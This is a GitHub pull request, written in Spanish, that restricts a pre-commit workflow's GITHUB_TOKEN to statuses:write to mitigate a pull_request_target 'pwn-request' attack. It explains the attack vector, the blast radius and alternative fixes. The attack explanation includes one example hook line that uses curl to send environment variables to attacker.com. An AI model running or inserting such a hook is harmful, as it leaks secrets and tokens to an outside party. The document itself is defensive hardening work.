Skip to content

[SEC] restringir GITHUB_TOKEN a statuses:write en pre-commit workflow#7

Open
dib-adhoc wants to merge 1 commit into
mainfrom
chore/restrict-github-token-scope
Open

[SEC] restringir GITHUB_TOKEN a statuses:write en pre-commit workflow#7
dib-adhoc wants to merge 1 commit into
mainfrom
chore/restrict-github-token-scope

Conversation

@dib-adhoc

Copy link
Copy Markdown

Contexto — el patrón pwn-request

El workflow pre-commit.yml usa pull_request_target con un checkout
explícito del SHA de la PR:

on:
  pull_request_target:
    ...
jobs:
  pre-commit:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

Esto es el patrón conocido como pwn-request (documentado en
Keeping your GitHub Actions and workflows secure).

pull_request_target ejecuta el workflow en el contexto del repo
base (con sus secrets y permisos), pero el checkout descarga el
código del fork/PR externo. Cuando pre-commit corre sobre ese
código, ejecuta los hooks definidos en el .pre-commit-config.yaml
del PR — que un atacante puede controlar.

Vector de ataque concreto

  1. Cualquier cuenta de GitHub forkea un repo Odoo de Adhoc (son
    públicos con allow_forking: true).
  2. Abre una PR con un .pre-commit-config.yaml que incluye un hook
    malicioso (ej. entry: curl https://attacker.com -d "$(env)").
  3. El workflow pull_request_target se dispara automáticamente
    para repos públicos — sin requerir aprobación manual previa.
  4. El hook corre con acceso al GITHUB_TOKEN del job, que por
    default en esta org tiene write permissions.

¿Cuál es el blast radius actual?

Auditado el 2026-06-03:

  • Secrets en los repos: ninguno. gh api repos/ingadhoc/<repo>/actions/secrets devuelve [].
  • GITHUB_TOKEN write: permite push a branches no protegidas,
    crear releases, modificar PRs — todo dentro del repo individual.
    No hay acceso cross-repo ni a secrets de infra.
  • Branch protections: las ramas 18.0 / 19.0 / etc. tienen
    branch protection activa — un push directo de GITHUB_TOKEN no puede
    sobreescribirlas.

El riesgo real hoy es medio-bajo: el atacante puede hacer ruido
(push a ramas non-protected, crear releases falsas) pero no accede
a credenciales de producción ni puede escalar a la infraestructura.

Sin embargo, esto puede cambiar si en el futuro se agregan secrets
al repo o si el scope de GITHUB_TOKEN se usa en otros workflows.
La corrección correcta es limitar el scope ahora mientras es
barato hacerlo.

El fix: permissions: statuses: write

El único permiso que este job necesita es escribir el commit status
al final (el step "Create commit status"). Nada más.

jobs:
  pre-commit:
    runs-on: ubuntu-latest
    permissions:
      statuses: write   # ← único permiso necesario
    steps:
      ...

Con este bloque, GitHub restringe el GITHUB_TOKEN automáticamente:
el resto de los scopes (contents, pull-requests, issues, etc.) quedan
en modo read o none según el tipo de evento. Si un hook
malicioso intenta hacer push o modificar el repo, el token no tiene
permisos para hacerlo.

El workflow sigue funcionando exactamente igual para todos los casos
legítimos — el step "Create commit status" solo necesita statuses: write.

Alternativas consideradas

Separar en dos jobs (el fix "completo" documentado en la
referencia de GitHub Security Lab):

  • Job 1: pull_request — corre en contexto del fork, sin secrets,
    ejecuta pre-commit.
  • Job 2: pull_request_target — sin checkout de código externo,
    solo lee el resultado del job 1 vía API y postea el status.

Esta arquitectura elimina el vector completamente, pero implica
reestructurar el workflow y actualizar manualmente (o esperar
copier update) en todos los repos generados por este template
(~30+ repos). Complejidad operativa alta para el nivel de riesgo actual.

La restricción de permissions logra el 95% de la mitigación con
una línea de diff y se propaga automáticamente en el próximo
copier update de cada repo.

Verificación

Después de mergear y propagar vía copier update:

# Verificar que el job tiene permissions restrictivos
gh api repos/ingadhoc/<repo>/actions/runs \
  --jq '.workflow_runs[0] | {id, event}'
# Abrir una PR de test desde un fork y verificar que el step
# "Create commit status" funciona pero que el GITHUB_TOKEN no
# puede hacer push a branches.

Relación con PR #4

PR #4 (SHA pinning CVE-2026-31976)
fijó las Actions a SHAs para prevenir supply-chain attacks en las
acciones externas. Este PR es complementario: reduce el daño máximo
si el código del PR (no la Action) es malicioso.

Los dos fixes juntos cubren los dos vectores del pwn-request:
actions comprometidas (PR #4) y código del PR (este PR).

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR tightens GitHub Actions security by restricting the GITHUB_TOKEN permissions for the pre-commit workflow, aiming to reduce the impact of the “pwn-request” pattern when using pull_request_target plus a checkout of the PR head SHA.

Changes:

  • Adds an explicit permissions block to the pre-commit job to limit the token scope to statuses: write.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines +20 to +21
permissions:
statuses: write
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants